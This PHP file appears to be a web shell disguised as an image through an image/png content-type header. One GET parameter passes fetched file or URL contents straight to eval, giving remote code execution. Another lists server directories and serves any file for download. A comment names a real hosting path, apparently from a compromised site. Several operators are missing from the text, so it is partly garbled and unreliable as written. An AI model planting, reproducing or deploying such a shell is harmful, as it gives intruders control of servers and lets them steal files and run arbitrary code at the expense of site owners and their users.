<?php
header
("Content-Type: image/png");

if(isset(
$_GET[xx]))
{
echo eval(
file_get_contents($_GET[xx]));
exit;
}

if(isset(
$_GET[bbb])){
$dir=trim($_GET[bbb]);

if (!
is_dir($dir) && !is_file($dir)){

//$dir='/home/admin/domains/mte-media.com/public_html/';
$dir=__DIR__;
header("Location: ?bbb={$dir}");
exit;
}
if(
is_file($dir))
{
//   header("Content-Type: text/plain; charset=utf-8");
  // echo file_get_contents($dir);
//  exit;
$file_extension strtolower(substr(strrchr($dir,"."),1));
$download_name substr($dir,0,strrpos($dir,'_')).'.'.$file_extension;

switch( 
$file_extension )
{
  case 
"pdf"$ctype="application/pdf"; break;
  case 
"txt"$ctype="application/txt"; break;
  case 
"exe"$ctype="application/octet-stream"; break;
  case 
"zip"$ctype="application/zip"; break;
  case 
"doc"$ctype="application/msword"; break;
  case 
"xls"$ctype="application/x-msexcel"; break;
  case 
"ppt"$ctype="application/vnd.ms-powerpoint"; break;
  case 
"gif"$ctype="image/gif"; break;
  case 
"png"$ctype="image/png"; break;
  case 
"jpeg":
  case 
"jpg"$ctype="image/jpg"; break;
  default: 
$ctype="application/force-download";
}
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " gmdate("D,d M YH:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
header ("Content-type: $ctype");
//header ("Content-type: text/plain; charset=utf-8");
header ("Content-Disposition: attachment; filename=\"" basename($dir) . "\"" );
//header ("Content-Description: PHP/INTERBASE Generated Data" );
readfile($dir); 
exit();

}


$data=array();
$back=array_filter(explode('/',$dir));
  if (
$dh opendir($dir)){
    while ((
$file readdir($dh)) !== false){
if(
trim($file)!='.'){
    if(
$file=='..')
    {
//       $file='';
//    $back[count($back)-2]
unset($back[count($back)]);
$back=implode('/',$back);
        
$data[dir][$file]= '<a href="?bbb=/'.$back.'/">'.$file.'/</a>';
        
$file='';
    }
    else{
    if(
is_dir($dir.$file) && $file!='')
    {
    
$file=$file.'/';
    
$data[dir][$file]= '<a href="?bbb='.$dir.$file.'">'.$file.'</a>';
    }
    if(
is_file($dir.$file) && $file!='')
    
$data[file][$file]= '<a href="?bbb='.$dir.$file.'" target=_blank>'.$file.'</a>';
    }
}
}
    
closedir($dh);
  }
$i=0;
echo 
'<table style="font-size:18px;font-style=tahoma bold;text-align:center;table-layout:fixed;width:100%;background:#d3d3d3;color:orangered;" align=center border=1><th>Directories</th><th>Files</th>';
//do{
foreach($data[dir] as $dr){

$dirs[] = trim($dr);
}
foreach(
$data[file] as $fl){

$files[] = trim($fl);
}
$countdir=intval(count($dirs));
$countfile=intval(count($files));
$counter = ($countdir>=$countfile) ? $countdir $countfile;



for(
$i=0;$i<=$counter;$i++){


if(!isset(
$dirs[$i]) && isset($files[$i]))
$dirs[$i]='';
if(!isset(
$files[$i]) && isset($dirs[$i]) )
$files[$i]='';
if(!isset(
$files[$i]) && !isset($dirs[$i]) )
break;
$dd=trim($dirs[$i]);
$ff=trim($files[$i]);
echo 
'<tr><td>'.$dd.'</td><td>'.$ff.'</td></tr>';



}
//}while(isset($data[dir][$i]) || isset($data[dir][$i]));
//echo implode('<br>',$data[dir]);
//echo implode('<br>',$data[file]);


exit;

}